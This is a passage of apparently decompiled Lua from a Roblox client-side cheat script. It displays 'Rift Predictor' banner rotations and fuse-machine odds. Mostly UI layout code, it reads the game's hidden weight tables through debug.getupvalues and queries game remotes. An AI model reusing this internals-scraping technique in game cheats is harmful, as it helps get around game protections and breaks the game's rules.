local max = math.max
local height = v34.Height or 1
local v36 = max(1, height)
local set = handle.Set
local tbl34 = { X = 0 }
local n52 = v34.Gap and 0.5 or 0
tbl34.Y = n51 + n52
tbl34.Width = n40
tbl34.Height = v36
set(tbl34)
local n53 = v36 + n28 * 0.5
local n54 = v34.Gap and 0.5 or 0
n51 = n51 + n53 + n54
else
local slot = v34.Slot
local v35 = fn38(slot.Detail, n50)
if v35 then
slot.DetailUnits = v35
else
flag6 = true
end
local clamp = math.clamp
local detailUnits = slot.DetailUnits or 1
local v36 = clamp(detailUnits, 1, 4)
local v37 = fn37(slot.Status)
if v37 then
slot.StatusUnits = v37 + 0.23
else
flag6 = true
end
local min = math.min
local n52 = n50 * 0.42
local max = math.max
local statusUnits = slot.StatusUnits or 2.73
local v38 = min(n52, max(2.73, statusUnits))
local n53 = math.max(1, n50 - v38 - n38)
local v39 = fn37(slot.Rarity)
if v39 then
slot.RarityUnits = v39 + 0.1
else
flag6 = true
end
local min2 = math.min
local rarityUnits = slot.RarityUnits or 3
local v40 = min2(rarityUnits, n53 * 0.5)
local v41 = fn37(slot.Name)
if v41 then
slot.NameUnits = v41 + 0.1
else
flag6 = true
end
local min3 = math.min
local max2 = math.max
local nameUnits = slot.NameUnits or 4
local max3 = math.max
local n54 = n53 - v40 - n38
local v42 = min3(max2(1, nameUnits), max3(1, n54))
local n55 = n36 * 2
local n56 = math.max(v36 + n31, 2.3) + n55
local n57 = (n56 - v36 - n31) / 2
slot.Frame.Set({ X = 0, Y = n51, Width = n40, Height = n56 })
slot.Icon.Set({ Y = (n56 - n34) / 2 })
slot.Name.Set({ X = n35 + n37, Y = n57, Width = v42 })
slot.Rarity.Set({
X = n35 + n37 + v42 + n38,
Y = n57,
Width = math.max(0.5, v40),
})
slot.Detail.Set({ X = n35 + n37, Y = n57 + n31, Width = n50, Height = v36 })
slot.Status.Set({
X = n35 + n37 + n50 - v38,
Y = n57,
Width = math.max(0.5, v38),
})
n51 = n51 + n56 + n28
end
end
local n52 = math.max(1, n51)
if 0.01 < math.abs(n52 - n45) then
n45 = n52
v31:SetContentLines(n52)
end
end
local v32 = fn3(function()
return ReplicatedStorage.Data.Rift
end)
local n49 = 30
local tbl34 = { Verdant = "#6BFFB0", Umbral = "#C08BFF", Radiant = "#FFD34D" }
local v33 = nil
local flag7 = false
local n50 = 0
local tbl35 = { Banner = {}, Odds = {}, Chance = {}, Clears = 0 }
local function fn42(arg)
local text = tbl34[tostring(arg)] or color.Text
return text
end
local function fn43(arg, ...)
if type(v32) ~= "table" or type(v32[arg]) ~= "function" then
return nil
end
local ok, result = pcall(v32[arg], ...)
if ok then
return result
end
return nil
end
local function fn44(arg)
local v34 = tostring
local GetBannerDisplayName = fn43("GetBannerDisplayName", arg)
if GetBannerDisplayName then
arg = GetBannerDisplayName
end
return v34(arg)
end
local function fn45(arg)
local BannerIdForPeriod = tbl35.Banner[arg]
if BannerIdForPeriod == nil then
BannerIdForPeriod = fn43("BannerIdForPeriod", arg) or false
tbl35.Banner[arg] = BannerIdForPeriod
end
BannerIdForPeriod = BannerIdForPeriod or nil
return BannerIdForPeriod
end
local function fn46(arg)
local v34 = ipairs
local banners = type(v32) == "table" and v32.Banners or {}
local v35, v36, v37 = v34(banners)
local n51 = 0
local n52 = 0
for _, v38 in v35, v36, v37 do
local n53 = tonumber(fn43("GetBannerWeight", v38.Id)) or 0
n51 = n51 + n53
if v38.Id == arg then
n52 = n53
end
end
local n53 = n51 > 0 and n52 / n51 * 100 or 0
return n53
end
local function fn47(arg)
local v34 = tbl35.Chance[arg]
if v34 == nil then
v34 = fn46(arg)
tbl35.Chance[arg] = v34
end
return v34
end
local function fn48(arg)
local GetBanner = fn43("GetBanner", arg)
local tbl36 = {}
local v34 = ipairs
local pets = type(GetBanner) == "table" and GetBanner.Pets or {}
local n51 = 0
for _, pet in v34(pets) do
local n52 = tonumber(fn43("GetPetWeight", arg, pet.AssetId)) or 0
if 0 < n52 then
n51 = n51 + n52
table.insert(tbl36, { AssetId = pet.AssetId, Weight = n52 })
end
end
for _, v35 in ipairs(tbl36) do
v35.Chance = n51 > 0 and v35.Weight / n51 * 100 or 0
end
table.sort(tbl36, function(arg2, arg3)
return arg2.Chance > arg3.Chance
end)
return tbl36
end
local function fn49(arg)
local v34 = tbl35.Odds[arg]
if v34 == nil then
v34 = fn48(arg)
tbl35.Odds[arg] = v34
end
return v34
end
local function fn50(arg)
local ok, result = pcall(os.date, "%I:%M %p", math.floor(arg))
if not ok then
return ""
end
return (string.gsub(tostring(result), "^0", ""))
end
local function fn51(arg)
local n51 = math.max(0, math.floor(arg))
local n52 = math.floor(n51 / 86400)
local n53 = math.floor(n51 % 86400 / 3600)
local n54 = math.floor(n51 % 3600 / 60)
if n52 > 0 then
return string.format("%dd %dh %02dm", n52, n53, n54)
end
return string.format("%dh %02dm", n53, n54)
end
local function fn52(arg)
local income = arg >= 10 and color.Income or arg >= 1 and color.Clock or "#FF7A7A"
local format = string.format
local str5 = arg >= 1 and "%.1f%%" or "%.2f%%"
return bold(paint(income, (format(str5, arg))))
end
local function fn53(arg)
if arg <= 0 then
return ""
end
local n51 = 100 / arg
local hint = color.Hint
local str5 = n51 < 10 and string.format("1 in %.1f", n51)
or string.format("1 in %d", math.floor(n51 + 0.5))
return paint(hint, str5)
end
local function fn54()
local flag8 = flag7
if not flag7 then
flag8 = os.clock() < n50
end
if flag8 then
return
end
flag7 = true
n50 = os.clock() + n49
task.spawn(function()
local rfRiftAskState = networking:FindFirstChild("RF/Rift/AskState")
if rfRiftAskState and rfRiftAskState:IsA("RemoteFunction") then
local ok, result = pcall(rfRiftAskState.InvokeServer, rfRiftAskState)
ok = ok and type(result) == "table"
if ok then
v33 = result
end
end
flag7 = false
end)
end
local function fn55(arg, arg2, arg3)
local flag8 = arg ~= nil
local v34 = v31
local setDock = v34.SetDock
local n51 = flag8 and 5 or 0
setDock(v34, n51, { Gap = n28 })
tbl30.Icon.Set({ Visible = flag8 })
tbl30.Name.Set({ Visible = flag8 })
tbl30.Rarity.Set({ Visible = flag8 })
tbl30.Info.Set({ Visible = flag8 })
if not flag8 then
return
end
local v35 = fn42(arg)
local GetBannerEggIcon = fn43("GetBannerEggIcon", arg)
local set = tbl30.Icon.Set
local tbl36 = {}
tbl36.Visible = type(GetBannerEggIcon) == "string" and GetBannerEggIcon ~= ""
local flag9 = type(GetBannerEggIcon) == "string"
if not flag9 then
GetBannerEggIcon = flag9
end
tbl36.Image = GetBannerEggIcon or ""
tbl36.StrokeColor = Color3.fromHex(v35)
set(tbl36)
tbl30.Name.Set({ Text = tbl29.Escape(fn44(arg)) })
tbl30.Rarity.Set({
Text = "ACTIVE",
Color = Color3.fromHex(color.Ready),
Gradient = nil,
})
local n52 = arg3 - arg2 % arg3
local tbl37 = {}
local str5 = bold(paint(color.Clock, "Ends in " .. tbl29.FormatClock(n52)))
.. tbl29.Separator()
.. paint(color.Text, fn50(arg2 + n52))
local str6 = paint(color.Hint, "Banner chance ") .. fn52(fn47(arg))
tbl37[1] = str5
tbl37[2] = str6
local v36 = v33
if type(v36) == "table" and v36.BannerId == arg then
if v36.Unlocked == false then
table.insert(tbl37, paint("#FF7A7A", "Locked on this account"))
else
local insert = table.insert
local v37 = paint(color.Hint, "Pity ")
local text = color.Text
local format = string.format
local v38 = tostring
local pityCount = v36.PityCount or 0
local v39 = v38(pityCount)
local v40 = tostring
local pityThreshold = v36.PityThreshold or 0
local v41 = bold(paint(text, format("%s/%s", v39, v40(pityThreshold))))
local v42 = tbl29.Separator()
local v43 = paint(color.Hint, "Free rerolls ")
local text2 = color.Text
local v44 = tostring
local freeRefreshesRemaining = v36.FreeRefreshesRemaining or 0
insert(
tbl37,
v37 .. v41 .. v42 .. v43 .. bold(paint(text2, v44(freeRefreshesRemaining)))
)
end
end
tbl30.Info.Set({ Text = table.concat(tbl37, "\n") })
end
local function fn56()
if not v31 then
return
end
n48 = 2
table.clear(tbl33)
local n51 = 0
local n52 = 0
local function fn56(arg, arg2)
n51 = n51 + 1
local v34 = fn39(n51)
v34.Set({ Visible = true, Text = arg })
table.insert(tbl33, { Kind = "text", Handle = v34, Gap = arg2 })
end
local function fn57(arg, arg2)
local flag8 = #tbl33 > 0
fn56(string.format('<b><font color="%s">%s</font></b>', arg2, arg), flag8)
end
local function fn58()
n52 = n52 + 1
local v34 = fn40(n52)
v34.Frame.Set({ Visible = true })
table.insert(tbl33, { Kind = "slot", Slot = v34 })
return v34
end
local serverTimeNow = workspace:GetServerTimeNow()
local n53 = tonumber(fn43("RotationSeconds")) or 10800
local n54 = math.floor(serverTimeNow / n53)
if tbl35.Clears <= os.clock() then
tbl35.Clears = os.clock() + 60
table.clear(tbl35.Banner)
table.clear(tbl35.Odds)
table.clear(tbl35.Chance)
end
local v34 = fn45(n54)
if type(v32) ~= "table" or v34 == nil then
fn55(nil)
fn56(bold(paint(color.Hint, "Rift data is not available yet")), false)
else
fn55(v34, serverTimeNow, n53)
local v35 = v33
if
type(v35) == "table"
and v35.BannerId == v34
and type(v35.Requirements) == "table"
and #v35.Requirements > 0
then
fn57("CURRENT RECIPE", color.Text)
local tbl36 = {}
for _, v36 in ipairs(v35.Requirements) do
local v37 = tbl29.AssetInfo(v36)
local insert = table.insert
local v38 = table.pack(bold(paint(v37.Hex, tbl29.Escape(v37.Name))))
insert(tbl36, table.unpack(v38, 1, v38.n))
end
fn56(table.concat(tbl36, tbl29.Separator()), false)
end
fn57("REWARD ODDS" .. tbl29.Separator() .. string.upper(fn44(v34)), fn42(v34))
local v36 = fn49(v34)
for i, v37 in ipairs(v36) do
local v38 = tbl29.AssetInfo(v37.AssetId)
local v39 = fn58()
local set = v39.Icon.Set
local tbl36 = { Visible = v38.Icon ~= nil }
tbl36.Image = v38.Icon or ""
tbl36.StrokeColor = v38.Color
set(tbl36)
v39.Name.Set({ Text = tbl29.Escape(v38.Name) })
v39.Rarity.Set({
Text = string.upper(tostring(v38.Rarity)),
Color = fn33(v38),
Gradient = fn32(v38),
GradientRotation = fn34(v38),
})
v39.Status.Set({ Text = fn52(v37.Chance) })
local str5 = fn53(v37.Chance)
if i == #v36 then
str5 = str5 .. tbl29.Separator() .. bold(paint(color.Clock, "Chase pet"))
end
v39.Detail.Set({ Text = str5 })
end
fn57("UPCOMING RIFTS", color.Text)
for i = 1, 6 do
local v37 = fn45(n54 + i)
local n55 = (n54 + i) * n53
local v38 = fn58()
local GetBannerEggIcon = fn43("GetBannerEggIcon", v37)
local v39 = fn42(v37)
local set = v38.Icon.Set
local tbl36 = {}
tbl36.Visible = type(GetBannerEggIcon) == "string" and GetBannerEggIcon ~= ""
local flag8 = type(GetBannerEggIcon) == "string"
if not flag8 then
GetBannerEggIcon = flag8
end
GetBannerEggIcon = GetBannerEggIcon or ""
tbl36.Image = GetBannerEggIcon
tbl36.StrokeColor = Color3.fromHex(v39)
set(tbl36)
v38.Name.Set({ Text = tbl29.Escape(fn44(v37)) })
local set2 = v38.Rarity.Set
local tbl37 = {}
tbl37.Text = i == 1 and "NEXT" or "#" .. i
tbl37.Color = Color3.fromHex(v39)
tbl37.Gradient = nil
set2(tbl37)
v38.Status.Set({
Text = bold(paint(color.Clock, "in " .. fn51(n55 - serverTimeNow))),
})
local v40 = fn49(v37)
local v41 = v40[#v40]
local str5 = paint(color.Hint, "Starts ") .. paint(color.Text, fn50(n55))
if v41 then
local v42 = tbl29.AssetInfo(v41.AssetId)
str5 = str5
.. tbl29.Separator()
.. paint(color.Hint, "Chase ")
.. bold(paint(v42.Hex, tbl29.Escape(v42.Name)))
.. " "
.. fn52(v41.Chance)
end
v38.Detail.Set({ Text = str5 })
end
fn57("NEXT TIME EACH RIFT OPENS", color.Text)
local v37 = ipairs
local banners = v32.Banners or {}
for _, banner in v37(banners) do
local v38 = fn42(banner.Id)
local v39 = table.pack(tbl29.Escape(fn44(banner.Id)))
local v40 = paint
v39.n = 2 + v39.n - 1
table.move(v39, 1, v39.n, 2, v39)
v39[1] = v38
local v41 = bold(v40(table.unpack(v39, 1, v39.n)))
local str5
if banner.Id == v34 then
str5 = v41 .. tbl29.Separator() .. bold(paint(color.Ready, "Open now"))
else
local v42 = nil
for i = 1, 2000 do
local id = banner.Id
if fn45(n54 + i) == id then
v42 = i
break
else
v42 = nil
end
end
if v42 then
local n55 = (n54 + v42) * n53
str5 = v41
.. tbl29.Separator()
.. bold(paint(color.Clock, "in " .. fn51(n55 - serverTimeNow)))
.. tbl29.Separator()
.. paint(color.Text, fn50(n55))
else
str5 = v41 .. tbl29.Separator() .. paint(color.Hint, "Not soon")
end
end
fn56(
str5
.. tbl29.Separator()
.. paint(color.Hint, "chance ")
.. fn52(fn47(banner.Id)),
false
)
end
end
for i = n51 + 1, #tbl32 do
tbl32[i].Set({ Visible = false })
end
for i = n52 + 1, #tbl31 do
tbl31[i].Frame.Set({ Visible = false })
end
fn41()
n48 = 2
end
if not tbl29.Ready then
v29:CreateText({
Name = "Rift Predictor",
Text = "Update the Chilli Library to use the predictor canvas.",
})
else
do
local v34 = v29:CreateCanvas({
Name = "Rift Predictor",
Layout = "free",
Style = {
TextScale = 0.84,
LineHeight = 1.1,
MinLines = 16,
MaxLines = 34,
BackgroundTransparency = 0.5,
ScrollBarColor = Color3.fromRGB(170, 174, 184),
TextColor = Color3.fromRGB(255, 255, 255),
TextStrokeTransparency = 0.7,
},
Build = function(arg)
fn35(arg)
pcall(fn56)
end,
})
fn6(function()
v34:Destroy()
end)
end
do
local n51 = 1
local connection = RunService.Heartbeat:Connect(function(arg)
if not v31 or not tbl29.PageVisible() or not tbl29.IsShown(v31:Root()) then
return
end
fn54()
n51 = n51 + arg
if n51 >= 1 then
n51 = 0
pcall(fn56)
end
if n48 > 0 or flag6 then
if 0 < n48 then
n48 = n48 - 1
end
pcall(fn41)
end
end)
fn6(function()
connection:Disconnect()
end)
end
end
end
end
do
local paint, bold, color, n28, n29, n30, n31, n32, n33, n34
local tbl30 = {
{ min = 0.85, max = 1.05, weight = 2000 },
{ min = 1.45, max = 1.55, weight = 250 },
{ min = 1.9, max = 2.1, weight = 125 },
{ min = 2.85, max = 3.15, weight = 62.5 },
{ min = 3.8, max = 4.2, weight = 31.25 },
{ min = 0.3, max = 0.45, weight = 18 },
{ min = 0.1, max = 0.2, weight = 5 },
{ min = 5.8, max = 6.2, weight = 15.625 },
{ min = 9.5, max = 12.5, weight = 3 },
{ min = 12, max = 17, weight = 0.05 },
{ min = 20, max = 35, weight = 0.0001 },
}
paint = tbl29.Paint
bold = tbl29.Bold
color = tbl29.Color
n28 = 5
n29 = n28 + 0.8
n30 = 1.2
n31 = 1.2
n32 = 0.936
n33 = 2.3
n34 = 0.25
local n35 = 0.18
local n36 = n33 + 0.6
local n37 = 0.24
local n38 = 0.22
local n39 = 0.0909
local v31 = nil
local tbl31 = {}
local tbl32 = {}
local tbl33 = {}
local tbl34 = {}
local n40 = 0
local n41 = 0
local n42 = 0.06
local n43 = -1
local n44 = -1
local n45 = -1
local n46 = 4
local n47 = 3
local flag6 = false
local n48 = 0
local v32 = nil
local tbl35 = {
{ Min = 0, Color = "#8F98A8" },
{ Min = 0.3, Color = "#C6CDDA" },
{ Min = 0.85, Color = "#FFFFFF" },
{ Min = 1.45, Color = "#7CFF9E" },
{ Min = 1.9, Color = "#4FE0FF" },
{ Min = 2.85, Color = "#6FA0FF" },
{ Min = 3.8, Color = "#C08BFF" },
{ Min = 5.8, Color = "#FF9A3D" },
{ Min = 9.5, Color = "#FF5C5C" },
{ Min = 12, Color = "#FFD34D" },
{ Min = 20, Color = "#FF4DE8" },
}
local function fn32(arg)
local n49 = -math.huge
local str5 = "#FFFFFF"
for _, v33 in ipairs(tbl35) do
if arg + 0.001 >= v33.Min and v33.Min > n49 then
str5 = v33.Color
n49 = v33.Min
end
end
return str5
end
local function fn33(arg, arg2)
local eggRecords = tbl.EggRecords
if type(eggRecords) ~= "table" or type(eggRecords.WeightKgForScale) ~= "function" then
return nil
end
local ok, result = pcall(eggRecords.WeightKgForScale, arg, arg2)
ok = ok and type(result) == "number"
ok = ok and result > 0
if ok then
return result
end
return nil
end
local function fn34(arg)
if type(arg) ~= "table" or #arg == 0 then
return nil
end
local n49 = -math.huge
local v33 = nil
for _, v34 in ipairs(arg) do
local v35 = tbl29.MutationMultiplier({ v34 })
if n49 < v35 then
n49 = v35
v33 = v34
end
end
return v33
end
local function fn35()
if v32 then
return v32
end
local eggRecords = tbl.EggRecords
local getupvalues_ = type(debug) == "table" and debug.getupvalues or getupvalues
if
type(eggRecords) == "table"
and type(eggRecords.DrawAssetScale) == "function"
and type(getupvalues_) == "function"
then
local ok, result = pcall(getupvalues_, eggRecords.DrawAssetScale)
local v33 = result
ok = ok and type(v33) == "table"
if ok then
for _, v34 in pairs(v33) do
if
type(v34) == "table"
and type(v34[1]) == "table"
and v34[1].min
and v34[1].weight
then
v32 = v34
break
end
end
end
end
local v33 = v32
if not v32 then
v33 = tbl30
end
v32 = v33
return v32
end
local function fn36(arg, arg2, arg3)
local fuseKernel = tbl.FuseKernel
if type(fuseKernel) == "table" and type(fuseKernel.BandWeightBias) == "function" then
local ok, result = pcall(fuseKernel.BandWeightBias, arg, arg2, arg3)
ok = ok and type(result) == "number"
if ok then
return result
end
end
return math.exp(
math.log((arg[1] + arg[2] + arg[3]) / 3)
/ 0.6931471805599453
* math.log((arg2 + arg3) / 2)
/ 0.6931471805599453
* 0.6
)
end
local function fn37()
local save6 = tbl.Save
if type(save6) ~= "table" or type(save6.Get) ~= "function" then
return nil
end
local ok, result = pcall(save6.Get)
if not ok or type(result) ~= "table" then
return nil
end
local fusionSlots = type(result.FusionSlots) == "table" and result.FusionSlots or {}
local inventory = type(result.Inventory) == "table" and result.Inventory or {}
local tbl36 = {}
for i = 1, 3 do
local v33 = fusionSlots[i]
local flag7 = v33 ~= nil and inventory[v33] or nil
if type(flag7) == "table" then
local insert = table.insert
local tbl37 = { Category = flag7.Category }
tbl37.Scale = tonumber(flag7.Scale) or 1
tbl37.Mutations = type(flag7.Mutations) == "table" and flag7.Mutations or {}
insert(tbl36, tbl37)
end
end
local tbl37 = { Items = tbl36, Locked = result.FusionLocked == true }
tbl37.Duration = tonumber(result.FusionDuration) or 0
tbl37.Reward = result.FusionEggReward ~= nil and result.FusionEggReward ~= false
return tbl37
end
local function fn38(arg)
if string.upper(tostring(arg.Rarity)) == "SECRET" then
return tbl29.SecretGradient
end
return arg.Gradient
end
local function fn39(arg)
local color2 = fn38(arg) ~= nil and Color3.fromRGB(255, 255, 255) or arg.Color
return color2
end
local function fn40(arg)
if string.upper(tostring(arg.Rarity)) == "SECRET" then
return tbl29.SecretRotation
end
return nil
end
local function fn41(arg)
v31 = arg
arg:SetDock(5, { Gap = n38, DividerColor = Color3.fromRGB(170, 174, 184) })
local v33 = arg:Dock()
tbl31.Icon = arg:Image({
Parent = v33,
X = 0,
Y = 0,
Width = n28,
Height = n28,
Corner = 0.35,
Background = "#000000",
BackgroundTransparency = 0.26,
StrokeThickness = n39,
StrokeTransparency = 0,
ZIndex = 8,
})
tbl31.Name = arg:Text({
Parent = v33,
X = n29,
Y = 0,
Height = n30,
Scale = n31,
Wrap = false,
Gradient = tbl29.NameGradient,
TextStrokeTransparency = 1,
ZIndex = 9,
})
tbl31.Rarity = arg:Text({
Parent = v33,
X = n29,
Y = 0,
Height = n30,
Scale = n32,
Wrap = false,
Font = tbl29.RarityFont,
TextStrokeTransparency = 1,
StrokeTransparency = 0.08,
ZIndex = 9,
})
tbl31.Info = arg:Text({
Parent = v33,
X = n29,
Y = n30,
Height = n28 - n30,
Wrap = false,
ZIndex = 9,
})
arg:OnResize(function(arg2, arg3, arg4)
if arg3 == n43 and arg4 == n44 then
return
end
n43 = arg3
n44 = arg4
n40 = arg3 / math.max(arg4, 1)
n41 = arg4
n48 = 2
n42 = 0.9 / math.max(arg:TextSize(), 1)
tbl31.Rarity.Set({ StrokeThickness = n42 })
for _, v34 in ipairs(tbl32) do
v34.Rarity.Set({ StrokeThickness = n42 })
end
end)
end
local function fn42(arg)
local v33 = arg and arg.Get()
if not v33 or n41 <= 0 then
return nil
end
local text = v33.Text
local v34 = tostring
local text2 = arg.Spec.Text or ""
if text ~= v34(text2) then
return nil
end
return v33
end
local function fn43(arg)
local v33 = fn42(arg)
if not v33 then
return nil
end
local size = v33.Size
local textWrapped = v33.TextWrapped
v33.TextWrapped = false
v33.Size = UDim2.fromOffset(100000, math.max(1, size.Y.Offset))
local x = v33.TextBounds.X
v33.Size = size
v33.TextWrapped = textWrapped
if x <= 0 then
return nil
end
return x / n41
end
local function fn44(arg, arg2)
local v33 = fn42(arg)
if not v33 then
return nil
end
local size = v33.Size
v33.Size = UDim2.fromOffset(math.max(1, math.floor(arg2 * n41 + 0.5)), 100000)
local y = v33.TextBounds.Y
v33.Size = size
if y <= 0 then
return nil
end
return y / n41
end
local function fn45(arg)
local v33 = tbl33[arg]
if not v33 then
v33 = v31:Text({
Name = "Line",
X = 0,
Y = 0,
Width = 1,
Height = 1,
Wrap = true,
Visible = false,
})
tbl33[arg] = v33
end
return v33
end
local function fn46(arg)
local v33 = tbl32[arg]
if v33 then
return v33
end
local tbl36 = {
Frame = v31:Frame({
Name = "Slot",
Background = "#000000",
BackgroundTransparency = 0.74,
Corner = 0.35,
X = 0,
Y = 0,
Width = 1,
Height = 1,
Visible = false,
}),
}
tbl36.Icon = v31:Image({
Parent = tbl36.Frame,
X = n34,
Y = 0,
Width = n33,
Height = n33,
Corner = 0.35,
Background = "#000000",
BackgroundTransparency = 0.45,
StrokeThickness = n39,
StrokeTransparency = 0,
})
tbl36.Name = v31:Text({
Parent = tbl36.Frame,
X = n34 + n36,
Y = 0,
Width = 1,
Height = n30,
Scale = n31,
Wrap = false,
Gradient = tbl29.NameGradient,
TextStrokeTransparency = 1,
})
tbl36.Rarity = v31:Text({
Parent = tbl36.Frame,
X = n34 + n36,
Y = 0,
Width = 1,
Height = n30,
Scale = n32,
Wrap = false,
Font = tbl29.RarityFont,
TextStrokeTransparency = 1,
StrokeTransparency = 0.08,
StrokeThickness = n42,
})
tbl36.Detail = v31:Text({
Parent = tbl36.Frame,
X = n34 + n36,
Y = n30,
Width = math.max(1, n40 - n36 - n34 * 2),
Height = 1,
Wrap = true,
})
tbl36.Status = v31:Text({
Parent = tbl36.Frame,
X = 0,
Y = 0,
Width = 1,
Height = n30,
Wrap = false,
Align = "Right",
Color = color.Hint,
})
tbl32[arg] = tbl36
return tbl36
end
local function fn47()
if n40 <= 0 then
return
end
flag6 = false
local n49 = math.max(1, n40 - n29)
local v33 = fn43(tbl31.Rarity)
if v33 then
n47 = v33 + 0.1
else
flag6 = true
end
local v34 = fn43(tbl31.Name)
if v34 then
n46 = math.min(v34 + 0.1, math.max(1, n49 - n47 - n37))
else
flag6 = true
end
tbl31.Name.Set({ X = n29, Y = 0, Width = n46, Height = n30 })
tbl31.Rarity.Set({
X = n29 + n46 + n37,
Y = 0,
Width = math.max(0.5, math.min(n47, n49 - n46 - n37)),
Height = n30,
})
tbl31.Info.Set({ X = n29, Y = n30, Width = n49, Height = math.max(1, n28 - n30) })
local n50 = math.max(1, n40 - n36 - n34 * 2)
local n51 = 0
for _, v35 in ipairs(tbl34) do
if v35.Kind == "text" then
local handle = v35.Handle
local v36 = fn44(handle, n40)
if v36 then
v35.Height = v36
else
flag6 = true
end
local max = math.max
local height = v35.Height or 1
local v37 = max(1, height)
local set = handle.Set
local tbl36 = { X = 0 }
local n52 = v35.Gap and 0.5 or 0
tbl36.Y = n51 + n52
tbl36.Width = n40
tbl36.Height = v37
set(tbl36)
local n53 = v37 + n38 * 0.5
local n54 = v35.Gap and 0.5 or 0
n51 = n51 + n53 + n54
else
local slot = v35.Slot
local v36 = fn44(slot.Detail, n50)
if v36 then
slot.DetailUnits = v36
else
flag6 = true
end
local clamp = math.clamp
local detailUnits = slot.DetailUnits or 1
local v37 = clamp(detailUnits, 1, 4)
local v38 = fn43(slot.Status)
if v38 then
slot.StatusUnits = v38 + 0.23
else
flag6 = true
end
local min = math.min
local n52 = n50 * 0.42
local max = math.max
local statusUnits = slot.StatusUnits or 2.73
local v39 = min(n52, max(2.73, statusUnits))
local n53 = math.max(1, n50 - v39 - n37)
local v40 = fn43(slot.Rarity)
if v40 then
slot.RarityUnits = v40 + 0.1
else
flag6 = true
end
local min2 = math.min
local rarityUnits = slot.RarityUnits or 3
local v41 = min2(rarityUnits, n53 * 0.5)
local v42 = fn43(slot.Name)
if v42 then
slot.NameUnits = v42 + 0.1
else
flag6 = true
end
local min3 = math.min
local max2 = math.max
local nameUnits = slot.NameUnits or 4
local max3 = math.max
local n54 = n53 - v41 - n37
local v43 = min3(max2(1, nameUnits), max3(1, n54))
local n55 = n35 * 2
local n56 = math.max(v37 + n30, 2.3) + n55
local n57 = (n56 - v37 - n30) / 2
slot.Frame.Set({ X = 0, Y = n51, Width = n40, Height = n56 })
slot.Icon.Set({ Y = (n56 - n33) / 2 })
slot.Name.Set({ X = n34 + n36, Y = n57, Width = v43 })
slot.Rarity.Set({ X = n34 + n36 + v43 + n37, Y = n57, Width = math.max(0.5, v41) })
slot.Detail.Set({ X = n34 + n36, Y = n57 + n30, Width = n50, Height = v37 })
slot.Status.Set({ X = n34 + n36 + n50 - v39, Y = n57, Width = math.max(0.5, v39) })
n51 = n51 + n56 + n38
end
end
local n52 = math.max(1, n51)
if 0.01 < math.abs(n52 - n45) then
n45 = n52
v31:SetContentLines(n52)
end
end
local function fn48(arg, arg2)
local flag7 = arg ~= nil
local v33 = v31
local setDock = v33.SetDock
local n49 = flag7 and 5 or 0
setDock(v33, n49, { Gap = n38 })
tbl31.Icon.Set({ Visible = flag7 })
tbl31.Name.Set({ Visible = flag7 })
tbl31.Rarity.Set({ Visible = flag7 })
tbl31.Info.Set({ Visible = flag7 })
if not flag7 then
return
end
local set = tbl31.Icon.Set
local tbl36 = { Visible = arg.Icon ~= nil }
tbl36.Image = arg.Icon or ""
tbl36.StrokeColor = arg.Color
set(tbl36)
tbl31.Name.Set({ Text = tbl29.Escape(arg.Name) })
tbl31.Rarity.Set({
Text = string.upper(tostring(arg.Rarity)),
Color = fn39(arg),
Gradient = fn38(arg),
GradientRotation = fn40(arg),
})
local v34 = paint(color.Text, string.format("Fusing %d of 3 pets", #arg2.Items))
if arg2.Reward then
v34 = bold(paint(color.Ready, "Fuse finished, claim your egg"))
elseif arg2.Locked then
local n50 = arg2.Duration > 1000000000 and arg2.Duration - workspace:GetServerTimeNow()
or 0
local clock = color.Clock
local str5 = n50 > 0 and "Fusing" .. tbl29.Separator() .. tbl29.FormatClock(n50)
or "Fusing"
v34 = bold(paint(clock, str5))
end
local set2 = tbl31.Info.Set
local tbl37 = {}
local concat = table.concat
local tbl38 = {}
local v35 = bold(
paint(
color.Income,
tbl29.FormatRate(tbl29.Income(arg, arg2.Items[1].Scale, arg2.Items[1].Mutations))
)
)
local v36 = paint(color.Text, string.format("%d/3 loaded", #arg2.Items))
tbl38[1] = v35
tbl38[2] = v36
tbl38[3] = v34
tbl37.Text = concat(tbl38, "\n")
set2(tbl37)
end
local function fn49()
if not v31 then
return
end
n48 = 2
table.clear(tbl34)
local n49 = 0
local function fn49(arg, arg2)
n49 = n49 + 1
local v33 = fn45(n49)
v33.Set({ Visible = true, Text = arg })
table.insert(tbl34, { Kind = "text", Handle = v33, Gap = arg2 })
end
local function fn50(arg, arg2)
local flag7 = #tbl34 > 0
fn49(string.format('<b><font color="%s">%s</font></b>', arg2, arg), flag7)
end
local v33 = fn37()
local n50
if not v33 then
fn48(nil, nil)
fn49(bold(paint(color.Hint, "Fuse machine data is not available yet")), false)
n50 = 0
elseif #v33.Items == 0 then
fn48(nil, nil)
fn49(bold(paint(color.Text, "Machine is empty")), false)
fn49(paint(color.Hint, "Load 3 pets of the same species to see the result odds"), false)
n50 = 0
else
local items = v33.Items
local v34 = tbl29.AssetInfo(items[1].Category)
fn48(v34, v33)
local text = color.Text
fn50(string.format("FUSE MACHINE STATUS (%d/3 PETS)", #items), text)
fn49(
paint(color.Hint, "Species")
.. " "
.. bold(paint(v34.Hex, "[" .. string.upper(tostring(v34.Rarity)) .. "]"))
.. " "
.. bold(paint(color.Text, tbl29.Escape(v34.Name))),
false
)
n50 = 0
for i = 1, 3 do
local v35 = items[i]
n50 = n50 + 1
local v36 = fn46(n50)
v36.Frame.Set({ Visible = true })
v36.Status.Set({ Text = "SLOT " .. i })
if v35 then
local set = v36.Icon.Set
local tbl36 = { Visible = v34.Icon ~= nil }
tbl36.Image = v34.Icon or ""
tbl36.StrokeColor = v34.Color
set(tbl36)
v36.Name.Set({ Text = tbl29.Escape(v34.Name) })
v36.Rarity.Set({
Text = string.upper(tostring(v34.Rarity)),
Color = fn39(v34),
Gradient = fn38(v34),
GradientRotation = fn40(v34),
})
local v37 = fn33(v35.Category, v35.Scale)
local v38 = bold(paint(color.Scale, string.format("%.2fx", v35.Scale)))
local str5
if v37 then
str5 = v38
.. tbl29.Separator()
.. paint(color.Weight, tbl29.FormatWeight(v37))
else
str5 = v38
end
local str6 = str5
.. tbl29.Separator()
.. bold(
paint(
color.Income,
tbl29.FormatRate(tbl29.Income(v34, v35.Scale, v35.Mutations))
)
)
local v39 = tbl29.MutationText(v35.Mutations)
local v40 = tbl29.Separator()
local flag7 = v39 ~= ""
if not flag7 then
v39 = flag7
end
local v41 = v39 or paint(color.Hint, "Normal")
v36.Detail.Set({ Text = str6 .. v40 .. v41 })
else
v36.Icon.Set({ Visible = false })
v36.Name.Set({ Text = paint(color.Hint, "Empty") })
v36.Rarity.Set({ Text = "", Gradient = nil })
